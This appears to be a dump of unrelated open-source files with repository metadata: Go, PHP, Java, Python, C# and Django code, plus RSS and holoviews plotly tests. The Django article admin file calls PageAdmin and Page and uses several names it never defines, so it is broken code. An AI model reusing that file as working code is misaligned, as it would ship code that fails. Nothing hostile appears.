n.Op { case OAPPEND, OCALL, OCALLFUNC, OCALLINTER, OCALLMETH, OCAP, OCLOSE, OCOMPLEX, OCOPY, ODELETE, OIMAG, OLEN, OMAKE, ONEW, OPANIC, OPRINT, OPRINTN, OREAL, ORECOVER, ORECV: return true } if hascallchan(n.Left) || hascallchan(n.Right) { return true } for l := n.List; l != nil; l = l.Next { if hascallchan(l.N) { return true } } for l := n.Rlist; l != nil; l = l.Next { if hascallchan(l.N) { return true } } return false }
rsc/tmp
bootstrap/internal/gc/const.go
GO
bsd-3-clause
29,270
<?php namespace TijsVerkoyen\Bpost\Bpost\Order; /** * bPost Receiver class * * @author Tijs Verkoyen <php-bpost@verkoyen.eu> */ class Receiver extends Customer { const TAG_NAME = 'receiver'; /** * @param \SimpleXMLElement $xml * @return Receiver */ public static function createFromXML(\SimpleXMLElement $xml) { $receiver = new Receiver(); $receiver = parent::createFromXMLHelper($xml, $receiver); return $receiver; } }
kouinkouin/bpost
src/Bpost/Order/Receiver.php
PHP
bsd-3-clause
487
package org.cagrid.introduce.tutorial.stockmanager.common; import javax.xml.namespace.QName; /** * This class is autogenerated, DO NOT EDIT * * @created by Introduce Toolkit version 1.3 */ public interface StockManagerConstantsBase { public static final String SERVICE_NS = "http://stockmanager.tutorial.introduce.cagrid.org/StockManager"; public static final QName RESOURCE_KEY = new QName(SERVICE_NS, "StockManagerKey"); public static final QName RESOURCE_PROPERTY_SET = new QName(SERVICE_NS, "StockManagerResourceProperties"); public static final QName SERVICEMETADATA = new QName("gme://caGrid.caBIG/1.0/gov.nih.nci.cagrid.metadata", "ServiceMetadata"); }
NCIP/cagrid
cagrid/Software/general/demos/StockManager/src/org/cagrid/introduce/tutorial/stockmanager/common/StockManagerConstantsBase.java
Java
bsd-3-clause
673
# by AnvaMiba import sys import cPickle import numpy as np def main(): if len(sys.argv) != 2: usage() outFs = open(sys.argv[1], 'wb') i = 0 train_i_ce_acc = [] test_i_ce_acc = [] line = sys.stdin.readline() while line: tokens = line.split() if (len(tokens)) > 0 and (tokens[0] == 'Iteration:'): i = int(tokens[1]) line = sys.stdin.readline() tokens = line.split() if len(tokens) != 2: break ce = float(tokens[1]) line = sys.stdin.readline() tokens = line.split() if len(tokens) != 2: break acc = float(tokens[1]) train_i_ce_acc.append([i, ce, acc]) if (len(tokens)) > 0 and (tokens[0] == 'VALIDATION'): line = sys.stdin.readline() tokens = line.split() if len(tokens) != 2: break ce = float(tokens[1]) line = sys.stdin.readline() tokens = line.split() if len(tokens) != 2: break acc = float(tokens[1]) test_i_ce_acc.append([i, ce, acc]) line = sys.stdin.readline() rv_dict = {'train_i_ce_acc': np.array(train_i_ce_acc), 'test_i_ce_acc': np.array(test_i_ce_acc)} cPickle.dump(rv_dict, outFs, cPickle.HIGHEST_PROTOCOL) outFs.close() def usage(): print >> sys.stderr, 'Usage:' print >> sys.stderr, sys.argv[0], 'pickle_out_file' sys.exit(-1) if __name__ == '__main__': main()
Avmb/lowrank-gru
mnist_extract_stats_from_log.py
Python
bsd-3-clause
1,282
# -*- coding: utf-8 -*- from django.contrib import admin from article.models import Article from article.forms import ArticleAdminForm from feincms.admin.editor import ItemEditor, TreeEditor class ArticleAdmin(ItemEditor, TreeEditor): """ Article Control Panel in Admin """ class Media: css = {} js = [] form = ArticleAdminForm # the fieldsets config here is used for the add_view, it has no effect # for the change_view which is completely customized anyway unknown_fields = ['override_url', 'redirect_to'] fieldsets = [ (None, { 'fields': ['active', 'in_navigation', 'template_key', 'title', 'slug', 'parent'], }), item_editor.FEINCMS_CONTENT_FIELDSET, (_('Other options'), { 'classes': ['collapse',], 'fields': unknown_fields, }), ] readonly_fields = [] list_display = ['short_title', 'is_visible_admin', 'in_navigation_toggle', 'template'] list_filter = ['active', 'in_navigation', 'template_key', 'parent'] search_fields = ['title', 'slug'] prepopulated_fields = { 'slug': ('title',), } raw_id_fields = ['parent'] radio_fields = {'template_key': admin.HORIZONTAL} def __init__(self, *args, **kwargs): ensure_completely_loaded() if len(Article._feincms_templates) > 4: del(self.radio_fields['template_key']) super(ArticleAdmin, self).__init__(*args, **kwargs) # The use of fieldsets makes only fields explicitly listed in there # actually appear in the admin form. However, extensions should not be # aware that there is a fieldsets structure and even less modify it; # we therefore enumerate all of the model's field and forcibly add them # to the last section in the admin. That way, nobody is left behind. from django.contrib.admin.util import flatten_fieldsets present_fields = flatten_fieldsets(self.fieldsets) for f in self.model._meta.fields: if not f.name.startswith('_') and not f.name in ('id', 'lft', 'rght', 'tree_id', 'level') and \ not f.auto_created and not f.name in present_fields and f.editable: self.unknown_fields.append(f.name) if not f.editable: self.readonly_fields.append(f.name) in_navigation_toggle = editor.ajax_editable_boolean('in_navigation', _('in navigation')) def _actions_column(self, page): actions = super(PageAdmin, self)._actions_column(page) actions.insert(0, u'<a href="add/?parent=%s" title="%s"><img src="%simg/admin/icon_addlink.gif" alt="%s"></a>' % ( page.pk, _('Add child page'), django_settings.ADMIN_MEDIA_PREFIX ,_('Add child page'))) actions.insert(0, u'<a href="%s" title="%s"><img src="%simg/admin/selector-search.gif" alt="%s" /></a>' % ( page.get_absolute_url(), _('View on site'), django_settings.ADMIN_MEDIA_PREFIX, _('View on site'))) return actions def add_view(self, request, form_url='', extra_context=None): # Preserve GET parameters return super(PageAdmin, self).add_view( request=request, form_url=request.get_full_path(), extra_context=extra_context) def response_add(self, request, obj, *args, **kwargs): response = super(PageAdmin, self).response_add(request, obj, *args, **kwargs) if 'parent' in request.GET and '_addanother' in request.POST and response.status_code in (301, 302): # Preserve GET parameters if we are about to add another page response['Location'] += '?parent=%s' % request.GET['parent'] if 'translation_of' in request.GET: # Copy all contents try: original = self.model._tree_manager.get(pk=request.GET.get('translation_of')) original = original.original_translation obj.copy_content_from(original) obj.save() except self.model.DoesNotExist: pass return response def _refresh_changelist_caches(self, *args, **kwargs): self._visible_pages = list(self.model.objects.active().values_list('id', flat=True)) def change_view(self, request, object_id, extra_context=None): from django.shortcuts import get_object_or_404 if 'create_copy' in request.GET: page = get_object_or_404(Page, pk=object_id) new = Page.objects.create_copy(page) self.message_user(request, ugettext("You may edit the copied page below.")) return HttpResponseRedirect('../%s/' % new.pk) elif 'replace' in request.GET: page = get_object_or_404(Page, pk=request.GET.get('replace')) with_page = get_object_or_404(Page, pk=object_id) Page.objects.replace(page, with_page) self.message_user(request, ugettext("You have replaced %s. You may continue editing the now-active page below.") % page) return HttpResponseRedirect('.') # Hack around a Django bug: raw_id_fields aren't validated correctly for # ForeignKeys in 1.1: http://code.djangoproject.com/ticket/8746 details # the problem - it was fixed for MultipleChoiceFields but not ModelChoiceField # See http://code.djangoproject.com/ticket/9209 if hasattr(self, "raw_id_fields"): for k in self.raw_id_fields: if not k in request.POST: continue if not isinstance(getattr(Page, k).field, models.ForeignKey): continue v = request.POST[k] if not v: del request.POST[k] continue try: request.POST[k] = int(v) except ValueError: request.POST[k] = None return super(PageAdmin, self).change_view(request, object_id, extra_context) def render_item_editor(self, request, object, context): if object: try: active = Page.objects.active().exclude(pk=object.pk).get(_cached_url=object._cached_url) context['to_replace'] = active except Page.DoesNotExist: pass return super(PageAdmin, self).render_item_editor(request, object, context) def is_visible_admin(self, page): """ Instead of just showing an on/off boolean, also indicate whether this page is not visible because of publishing dates or inherited status. """ if not hasattr(self, "_visible_pages"): self._visible_pages = list() # Sanity check in case this is not already defined if page.parent_id and not page.parent_id in self._visible_pages: # parent page's invisibility is inherited if page.id in self._visible_pages: self._visible_pages.remove(page.id) return editor.ajax_editable_boolean_cell(page, 'active', override=False, text=_('inherited')) if page.active and not page.id in self._visible_pages: # is active but should not be shown, so visibility limited by extension: show a "not active" return editor.ajax_editable_boolean_cell(page, 'active', override=False, text=_('extensions')) return editor.ajax_editable_boolean_cell(page, 'active') is_visible_admin.allow_tags = True is_visible_admin.short_description = _('is active') is_visible_admin.editable_boolean_field = 'active' # active toggle needs more sophisticated result function def is_visible_recursive(self, page): retval = [] for c in page.get_descendants(include_self=True): retval.append(self.is_visible_admin(c)) return retval is_visible_admin.editable_boolean_result = is_visible_recursive admin.site.register(Article, ArticleAdmin)
indexofire/gravoicy
gravoicy/apps/article/admin.py
Python
bsd-3-clause
7,978
from django import forms from django.contrib.auth.models import User from django.utils.translation import ugettext_lazy as _ from utils import email_to_username class RegistrationForm(forms.Form): """ Our form for registering a new account. This uses the user's email as their credentials. """ error_css_class = 'error' required_css_class = 'required' email = forms.EmailField() password1 = forms.CharField(widget=forms.PasswordInput, label=_("Password")) password2 = forms.CharField(widget=forms.PasswordInput, label=_("Repeat password")) def clean_email(self): """ Validate that the supplied email address is unique for the site. """ if User.objects.filter(email__iexact=self.cleaned_data['email']): raise forms.ValidationError(_("This email address is already in use. Please use a different email address.")) return self.cleaned_data['email'] def clean(self): """ Verify that the values entered into the two password fields match. Note that an error here will end up in ``non_field_errors()`` because it doesn't apply to a single field. """ if 'password1' in self.cleaned_data and 'password2' in self.cleaned_data: if self.cleaned_data['password1'] != self.cleaned_data['password2']: raise forms.ValidationError(_("The two password fields didn't match.")) return self.cleaned_data def create_user(self): """ Creates a new user from the existing form, generating a unique username based on the user's email address. """ if self.errors: raise forms.ValidationError("Unable to create user " "because the data is invalid") email = self.cleaned_data['email'] username = email_to_username(email) password = self.cleaned_data['password1'] return User.objects.create_user(username, email, password)
paulcwatts/django-auth-utils
auth_utils/forms.py
Python
bsd-3-clause
2,089
using HFEA.Connector.Contracts.ClinicProfile; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace HFEA.Connector.Contracts.Clients.Centres { public interface IBillingDetailsReaderClient { BillingDetails GetBillingData(int centreId); AbsBillingImage GetFileData(int docId); } }
hfea/Website-Public
Source/HFEA.API.Connector/Source/HFEA.Connector.Contracts/Clients/Centres/IBillingDetailsReaderClient.cs
C#
bsd-3-clause
384
<?php declare(strict_types=1); /** * This file is part of stubbles. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace stubbles\xml\rss; use PHPUnit\Framework\TestCase; use stubbles\date\Date; use function bovigo\assert\{ assertThat, assertEmptyArray, assertEmptyString, assertFalse, assertNull, assertTrue, expect, predicate\equals, predicate\isSameAs }; /** * Test for stubbles\xml\rss\RssFeedGenerator. * * @group xml * @group xml_rss */ class RssFeedTest extends TestCase { /** * @var RssFeed */ private $rssFeed; protected function setUp(): void { $this->rssFeed = new RssFeed('test', 'http://stubbles.net/', 'description'); } /** * @test */ public function hasGivenTitle(): void { assertThat($this->rssFeed->title(), equals('test')); } /** * @test */ public function hasGivenLink(): void { assertThat($this->rssFeed->link(), equals('http://stubbles.net/')); } /** * @test */ public function hasGivenDescription(): void { assertThat($this->rssFeed->description(), equals('description')); } /** * @test */ public function hasNoLocaleByDefault(): void { assertFalse($this->rssFeed->hasLocale()); } /** * @test */ public function localeIsNullByDefault(): void { assertNull($this->rssFeed->locale()); } /** * @test */ public function localeCanBeSet(): void { assertThat($this->rssFeed->setLocale('en_EN')->locale(), equals('en_EN')); } /** * @test */ public function hasNoCopyrightByDefault(): void { assertFalse($this->rssFeed->hasCopyright()); } /** * @test */ public function copyrightIsNullByDefault(): void { assertNull($this->rssFeed->copyright()); } /** * @test */ public function copyrightCanBeSet(): void { assertThat( $this->rssFeed->setCopyright('(c) 2012 Stubbles')->copyright(), equals('(c) 2012 Stubbles') ); } /** * @test */ public function hasNoManagingEditorByDefault(): void { assertFalse($this->rssFeed->hasManagingEditor()); } /** * @test */ public function managingEditorIsNullByDefault(): void { assertNull($this->rssFeed->managingEditor()); } /** * @test */ public function managingEditorSetWithoutMailAddress(): void { assertThat( $this->rssFeed->setManagingEditor('mikey')->managingEditor(), equals('nospam@example.com (mikey)') ); } /** * @test */ public function managingEditorSetWithMailAddress(): void { assertThat( $this->rssFeed->setManagingEditor('test@example.com (mikey)') ->managingEditor(), equals('test@example.com (mikey)') ); } /** * @test */ public function hasNoStylesheetsByDefault(): void { assertEmptyArray($this->rssFeed->stylesheets()); } /** * @test */ public function stylesheetsCanBeAdded(): void { assertThat( $this->rssFeed->appendStylesheet('foo.xsl') ->appendStylesheet('bar.xsl') ->stylesheets(), equals(['foo.xsl', 'bar.xsl']) ); } /** * @test */ public function hasNoWebmasterByDefault(): void { assertFalse($this->rssFeed->hasWebMaster()); } /** * @test */ public function webmasterEditorIsNullByDefault(): void { assertNull($this->rssFeed->webMaster()); } /** * @test */ public function webmasterEditorSetWithoutMailAddress(): void { assertThat( $this->rssFeed->setWebMaster('mikey')->webMaster(), equals('nospam@example.com (mikey)') ); } /** * @test */ public function webmasterEditorSetWithMailAddress(): void { assertThat( $this->rssFeed->setWebMaster('test@example.com (mikey)') ->webMaster(), equals('test@example.com (mikey)') ); } /** * @test */ public function hasNoLastBuildDateByDefault(): void { assertFalse($this->rssFeed->hasLastBuildDate()); } /** * @test */ public function initialLastBuildDateIsNull(): void { assertNull($this->rssFeed->lastBuildDate()); } /** * @test */ public function lastBuildDateCanBePassedAsDateInstance(): void { $date = new Date('2008-05-24'); assertThat( $this->rssFeed->setLastBuildDate($date)->lastBuildDate(), equals('Sat 24 May 2008 00:00:00 ' . $date->offset()) ); } /** * @test */ public function alternativeLastBuildDate(): void { $date = new Date('2008-05-24'); assertThat( $this->rssFeed->setLastBuildDate('2008-05-24')->lastBuildDate(), equals('Sat 24 May 2008 00:00:00 ' . $date->offset()) ); } /** * @test */ public function settingInvalidLastBuildDateThrowsIllegalArgumentException(): void { expect(function() { $this->rssFeed->setLastBuildDate('foo'); }) ->throws(\InvalidArgumentException::class); } /** * @test */ public function hasNoTimeToLiveByDefault(): void { assertFalse($this->rssFeed->hasTimeToLive()); } /** * @test */ public function timeToLiveIsNullByDefault(): void { assertNull($this->rssFeed->timeToLive()); } /** * @test */ public function timeToLiveCanBeSet(): void { assertThat($this->rssFeed->setTimeToLive(303)->timeToLive(), equals(303)); } /** * @test */ public function hasNoImageByDefault(): void { assertFalse($this->rssFeed->hasImage()); } /** * @test */ public function hasImageIfSet(): void { assertTrue( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description' )->hasImage() ); } /** * @test */ public function imageUrlIsEmptyByDefault(): void { assertEmptyString($this->rssFeed->imageUrl()); } /** * @test */ public function imageUrlCanBeSet(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description' )->imageUrl(), equals('http://example.com/foo.gif') ); } /** * @test */ public function imageDescriptionIsEmptyByDefault(): void { assertEmptyString($this->rssFeed->imageDescription()); } /** * @test */ public function imageDescriptionCanBeSet(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description' )->imageDescription(), equals('image description') ); } /** * @test */ public function imageWidthIs88ByDefault(): void { assertThat($this->rssFeed->imageWidth(), equals(88)); } /** * @test */ public function imageWidthIs88IfNotGiven(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description' )->imageWidth(), equals(88) ); } /** * @test */ public function imageWidthCanBeSet(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description', 100 )->imageWidth(), equals(100) ); } /** * @test */ public function imageHeightIs31ByDefault(): void { assertThat($this->rssFeed->imageHeight(), equals(31)); } /** * @test */ public function imageHeightIs31IfNotGiven(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description' )->imageHeight(), equals(31) ); } /** * @test */ public function imageHeightCanBeSet(): void { assertThat( $this->rssFeed->setImage( 'http://example.com/foo.gif', 'image description', 100, 150 )->imageHeight(), equals(150) ); } /** * @test */ public function imageWidthTooSmallThrowsIllegalArgumentException(): void { expect(function() { $this->rssFeed->setImage('http://example.org/example.gif', 'foo', -1); })->throws(\InvalidArgumentException::class); } /** * @test */ public function imageWidthTooGreatThrowsIllegalArgumentException(): void { expect(function() { $this->rssFeed->setImage('http://example.org/example.gif', 'foo', 145); })->throws(\InvalidArgumentException::class); } /** * @test */ public function imageHeightTooSmallThrowsIllegalArgumentException(): void { expect(function() { $this->rssFeed->setImage('http://example.org/example.gif', 'foo', 88, -1); })->throws(\InvalidArgumentException::class); } /** * @test */ public function imageHeightTooGreatThrowsIllegalArgumentException(): void { expect(function() { $this->rssFeed->setImage('http://example.org/example.gif', 'foo', 88, 401); })->throws(\InvalidArgumentException::class); } /** * @test */ public function hasNoItemsByDefault(): void { assertThat($this->rssFeed->countItems(), equals(0)); assertEmptyArray($this->rssFeed->items()); } /** * @test */ public function retrieveNonExistingItemReturnsNull(): void { assertFalse($this->rssFeed->hasItem(0)); assertNull($this->rssFeed->item(0)); } /** * @test */ public function addedItemIsStored(): void { $item = $this->rssFeed->addItem('item', 'link', 'description'); assertThat($this->rssFeed->countItems(), equals(1)); assertThat($this->rssFeed->items(), equals([$item])); assertTrue($this->rssFeed->hasItem(0)); assertThat($this->rssFeed->item(0), isSameAs($item)); } }
stubbles/stubbles-xml
src/test/php/rss/RssFeedTest.php
PHP
bsd-3-clause
11,240
// Package sdcard provides low-level primitives to handle Secure Digital Card // protocol. The sdmc and sdio subpacckages provide higher level interface for // respectively SD Memory and SDIO cards. package sdcard
ziutek/emgo
egpath/src/sdcard/doc.go
GO
bsd-3-clause
213
from holoviews.element import ( VLine, HLine, Bounds, Box, Rectangles, Segments, Tiles, Path ) import numpy as np from .test_plot import TestPlotlyPlot default_shape_color = '#2a3f5f' class TestShape(TestPlotlyPlot): def assert_shape_element_styling(self, element): props = dict( fillcolor='orange', line_color='yellow', line_dash='dot', line_width=5, opacity=0.7 ) element = element.clone().opts(**props) state = self._get_plot_state(element) shapes = state['layout']['shapes'] self.assert_property_values(shapes[0], props) class TestMapboxShape(TestPlotlyPlot): def setUp(self): super().setUp() # Precompute coordinates self.xs = [3000000, 2000000, 1000000] self.ys = [-3000000, -2000000, -1000000] self.x_range = (-5000000, 4000000) self.x_center = sum(self.x_range) / 2.0 self.y_range = (-3000000, 2000000) self.y_center = sum(self.y_range) / 2.0 self.lon_range, self.lat_range = Tiles.easting_northing_to_lon_lat(self.x_range, self.y_range) self.lon_centers, self.lat_centers = Tiles.easting_northing_to_lon_lat( [self.x_center], [self.y_center] ) self.lon_center, self.lat_center = self.lon_centers[0], self.lat_centers[0] self.lons, self.lats = Tiles.easting_northing_to_lon_lat(self.xs, self.ys) class TestVLineHLine(TestShape): def assert_vline(self, shape, x, xref='x', ydomain=(0, 1)): self.assertEqual(shape['type'], 'line') self.assertEqual(shape['x0'], x) self.assertEqual(shape['x1'], x) self.assertEqual(shape['xref'], xref) self.assertEqual(shape['y0'], ydomain[0]) self.assertEqual(shape['y1'], ydomain[1]) self.assertEqual(shape['yref'], 'paper') def assert_hline(self, shape, y, yref='y', xdomain=(0, 1)): self.assertEqual(shape['type'], 'line') self.assertEqual(shape['y0'], y) self.assertEqual(shape['y1'], y) self.assertEqual(shape['yref'], yref) self.assertEqual(shape['x0'], xdomain[0]) self.assertEqual(shape['x1'], xdomain[1]) self.assertEqual(shape['xref'], 'paper') def test_single_vline(self): vline = VLine(3) state = self._get_plot_state(vline) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 1) self.assert_vline(shapes[0], 3) def test_single_hline(self): hline = HLine(3) state = self._get_plot_state(hline) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 1) self.assert_hline(shapes[0], 3) def test_vline_layout(self): layout = (VLine(1) + VLine(2) + VLine(3) + VLine(4)).cols(2).opts(vspacing=0, hspacing=0) state = self._get_plot_state(layout) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 4) # Check shapes self.assert_vline(shapes[0], 3, xref='x', ydomain=[0.0, 0.5]) self.assert_vline(shapes[1], 4, xref='x2', ydomain=[0.0, 0.5]) self.assert_vline(shapes[2], 1, xref='x3', ydomain=[0.5, 1.0]) self.assert_vline(shapes[3], 2, xref='x4', ydomain=[0.5, 1.0]) def test_hline_layout(self): layout = (HLine(1) + HLine(2) + HLine(3) + HLine(4)).cols(2).opts(vspacing=0, hspacing=0) state = self._get_plot_state(layout) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 4) # Check shapes self.assert_hline(shapes[0], 3, yref='y', xdomain=[0.0, 0.5]) self.assert_hline(shapes[1], 4, yref='y2', xdomain=[0.5, 1.0]) self.assert_hline(shapes[2], 1, yref='y3', xdomain=[0.0, 0.5]) self.assert_hline(shapes[3], 2, yref='y4', xdomain=[0.5, 1.0]) def test_vline_styling(self): self.assert_shape_element_styling(VLine(3)) def test_hline_styling(self): self.assert_shape_element_styling(HLine(3)) class TestPathShape(TestShape): def assert_path_shape_element(self, shape, element, xref='x', yref='y'): # Check type self.assertEqual(shape['type'], 'path') # Check svg path expected_path = 'M' + 'L'.join([ '{x} {y}'.format(x=x, y=y) for x, y in zip(element.dimension_values(0), element.dimension_values(1))]) + 'Z' self.assertEqual(shape['path'], expected_path) # Check axis references self.assertEqual(shape['xref'], xref) self.assertEqual(shape['yref'], yref) def test_simple_path(self): path = Path([(0, 0), (1, 1), (0, 1), (0, 0)]) state = self._get_plot_state(path) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 1) self.assert_path_shape_element(shapes[0], path) self.assert_shape_element_styling(path) class TestMapboxPathShape(TestMapboxShape): def test_simple_path(self): path = Tiles("") * Path([ (self.x_range[0], self.y_range[0]), (self.x_range[1], self.y_range[1]), (self.x_range[0], self.y_range[1]), (self.x_range[0], self.y_range[0]), ]).redim.range( x=self.x_range, y=self.y_range ) state = self._get_plot_state(path) self.assertEqual(state["data"][1]["type"], "scattermapbox") self.assertEqual(state["data"][1]["mode"], "lines") self.assertEqual(state["data"][1]["lon"], np.array([ self.lon_range[i] for i in (0, 1, 0, 0) ] + [np.nan])) self.assertEqual(state["data"][1]["lat"], np.array([ self.lat_range[i] for i in (0, 1, 1, 0) ] + [np.nan])) self.assertEqual(state["data"][1]["showlegend"], False) self.assertEqual(state["data"][1]["line"]["color"], default_shape_color) self.assertEqual( state['layout']['mapbox']['center'], { 'lat': self.lat_center, 'lon': self.lon_center } ) class TestBounds(TestPathShape): def test_single_bounds(self): bounds = Bounds((1, 2, 3, 4)) state = self._get_plot_state(bounds) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 1) self.assert_path_shape_element(shapes[0], bounds) def test_bounds_layout(self): bounds1 = Bounds((0, 0, 1, 1)) bounds2 = Bounds((0, 0, 2, 2)) bounds3 = Bounds((0, 0, 3, 3)) bounds4 = Bounds((0, 0, 4, 4)) layout = (bounds1 + bounds2 + bounds3 + bounds4).cols(2) state = self._get_plot_state(layout) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 4) # Check shapes self.assert_path_shape_element(shapes[0], bounds3, xref='x', yref='y') self.assert_path_shape_element(shapes[1], bounds4, xref='x2', yref='y2') self.assert_path_shape_element(shapes[2], bounds1, xref='x3', yref='y3') self.assert_path_shape_element(shapes[3], bounds2, xref='x4', yref='y4') def test_bounds_styling(self): self.assert_shape_element_styling(Bounds((1, 2, 3, 4))) class TestMapboxBounds(TestMapboxShape): def test_single_bounds(self): bounds = Tiles("") * Bounds( (self.x_range[0], self.y_range[0], self.x_range[1], self.y_range[1]) ).redim.range( x=self.x_range, y=self.y_range ) state = self._get_plot_state(bounds) self.assertEqual(state["data"][1]["type"], "scattermapbox") self.assertEqual(state["data"][1]["mode"], "lines") self.assertEqual(state["data"][1]["lon"], np.array([ self.lon_range[i] for i in (0, 0, 1, 1, 0) ])) self.assertEqual(state["data"][1]["lat"], np.array([ self.lat_range[i] for i in (0, 1, 1, 0, 0) ])) self.assertEqual(state["data"][1]["showlegend"], False) self.assertEqual(state["data"][1]["line"]["color"], default_shape_color) self.assertEqual( state['layout']['mapbox']['center'], { 'lat': self.lat_center, 'lon': self.lon_center } ) def test_bounds_layout(self): bounds1 = Bounds((0, 0, 1, 1)) bounds2 = Bounds((0, 0, 2, 2)) bounds3 = Bounds((0, 0, 3, 3)) bounds4 = Bounds((0, 0, 4, 4)) layout = (Tiles("") * bounds1 + Tiles("") * bounds2 + Tiles("") * bounds3 + Tiles("") * bounds4).cols(2) state = self._get_plot_state(layout) self.assertEqual(state['data'][1]["subplot"], "mapbox") self.assertEqual(state['data'][3]["subplot"], "mapbox2") self.assertEqual(state['data'][5]["subplot"], "mapbox3") self.assertEqual(state['data'][7]["subplot"], "mapbox4") self.assertNotIn("xaxis", state['layout']) self.assertNotIn("yaxis", state['layout']) class TestBox(TestPathShape): def test_single_box(self): box = Box(0, 0, (1, 2), orientation=1) state = self._get_plot_state(box) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 1) self.assert_path_shape_element(shapes[0], box) def test_bounds_layout(self): box1 = Box(0, 0, (1, 1), orientation=0) box2 = Box(0, 0, (2, 2), orientation=0.5) box3 = Box(0, 0, (3, 3), orientation=1.0) box4 = Box(0, 0, (4, 4), orientation=1.5) layout = (box1 + box2 + box3 + box4).cols(2) state = self._get_plot_state(layout) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 4) # Check shapes self.assert_path_shape_element(shapes[0], box3, xref='x', yref='y') self.assert_path_shape_element(shapes[1], box4, xref='x2', yref='y2') self.assert_path_shape_element(shapes[2], box1, xref='x3', yref='y3') self.assert_path_shape_element(shapes[3], box2, xref='x4', yref='y4') def test_box_styling(self): self.assert_shape_element_styling(Box(0, 0, (1, 1))) class TestMapboxBox(TestMapboxShape): def test_single_box(self): box = Tiles("") * Box(0, 0, (1000000, 2000000)).redim.range( x=self.x_range, y=self.y_range ) x_box_range = [-500000, 500000] y_box_range = [-1000000, 1000000] lon_box_range, lat_box_range = Tiles.easting_northing_to_lon_lat(x_box_range, y_box_range) state = self._get_plot_state(box) self.assertEqual(state["data"][1]["type"], "scattermapbox") self.assertEqual(state["data"][1]["mode"], "lines") self.assertEqual(state["data"][1]["showlegend"], False) self.assertEqual(state["data"][1]["line"]["color"], default_shape_color) self.assertEqual(state["data"][1]["lon"], np.array([ lon_box_range[i] for i in (0, 0, 1, 1, 0) ])) self.assertEqual(state["data"][1]["lat"], np.array([ lat_box_range[i] for i in (0, 1, 1, 0, 0) ])) self.assertEqual( state['layout']['mapbox']['center'], { 'lat': self.lat_center, 'lon': self.lon_center } ) class TestRectangles(TestPathShape): def test_boxes_simple(self): boxes = Rectangles([(0, 0, 1, 1), (2, 2, 4, 3)]) state = self._get_plot_state(boxes) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 2) self.assertEqual(shapes[0], {'type': 'rect', 'x0': 0, 'y0': 0, 'x1': 1, 'y1': 1, 'xref': 'x', 'yref': 'y', 'name': '', 'line': {'color': default_shape_color}}) self.assertEqual(shapes[1], {'type': 'rect', 'x0': 2, 'y0': 2, 'x1': 4, 'y1': 3, 'xref': 'x', 'yref': 'y', 'name': '', 'line': {'color': default_shape_color}}) self.assertEqual(state['layout']['xaxis']['range'], [0, 4]) self.assertEqual(state['layout']['yaxis']['range'], [0, 3]) class TestMapboxRectangles(TestMapboxShape): def test_rectangles_simple(self): rectangles = Tiles("") * Rectangles([ (0, 0, self.x_range[1], self.y_range[1]), (self.x_range[0], self.y_range[0], 0, 0), ]).redim.range( x=self.x_range, y=self.y_range ) state = self._get_plot_state(rectangles) self.assertEqual(state["data"][1]["type"], "scattermapbox") self.assertEqual(state["data"][1]["mode"], "lines") self.assertEqual(state["data"][1]["showlegend"], False) self.assertEqual(state["data"][1]["line"]["color"], default_shape_color) self.assertEqual(state["data"][1]["lon"], np.array([ 0, 0, self.lon_range[1], self.lon_range[1], 0, np.nan, self.lon_range[0], self.lon_range[0], 0, 0, self.lon_range[0], np.nan ])) self.assertEqual(state["data"][1]["lat"], np.array([ 0, self.lat_range[1], self.lat_range[1], 0, 0, np.nan, self.lat_range[0], 0, 0, self.lat_range[0], self.lat_range[0], np.nan ])) self.assertEqual( state['layout']['mapbox']['center'], { 'lat': self.lat_center, 'lon': self.lon_center } ) class TestSegments(TestPathShape): def test_segments_simple(self): boxes = Segments([(0, 0, 1, 1), (2, 2, 4, 3)]) state = self._get_plot_state(boxes) shapes = state['layout']['shapes'] self.assertEqual(len(shapes), 2) self.assertEqual(shapes[0], {'type': 'line', 'x0': 0, 'y0': 0, 'x1': 1, 'y1': 1, 'xref': 'x', 'yref': 'y', 'name': '', 'line': {'color': default_shape_color}}) self.assertEqual(shapes[1], {'type': 'line', 'x0': 2, 'y0': 2, 'x1': 4, 'y1': 3, 'xref': 'x', 'yref': 'y', 'name': '', 'line': {'color': default_shape_color}}) self.assertEqual(state['layout']['xaxis']['range'], [0, 4]) self.assertEqual(state['layout']['yaxis']['range'], [0, 3]) class TestMapboxSegments(TestMapboxShape): def test_segments_simple(self): rectangles = Tiles("") * Segments([ (0, 0, self.x_range[1], self.y_range[1]), (self.x_range[0], self.y_range[0], 0, 0), ]).redim.range( x=self.x_range, y=self.y_range ) state = self._get_plot_state(rectangles) self.assertEqual(state["data"][1]["type"], "scattermapbox") self.assertEqual(state["data"][1]["mode"], "lines") self.assertEqual(state["data"][1]["showlegend"], False) self.assertEqual(state["data"][1]["line"]["color"], default_shape_color) self.assertEqual(state["data"][1]["lon"], np.array([ 0, self.lon_range[1], np.nan, self.lon_range[0], 0, np.nan ])) self.assertEqual(state["data"][1]["lat"], np.array([ 0, self.lat_range[1], np.nan, self.lat_range[0], 0, np.nan ])) self.assertEqual( state['layout']['mapbox']['center'], { 'lat': self.lat_center, 'lon': self.lon_center } )
ioam/holoviews
holoviews/tests/plotting/plotly/test_shapeplots.py
Python
bsd-3-clause
15,348
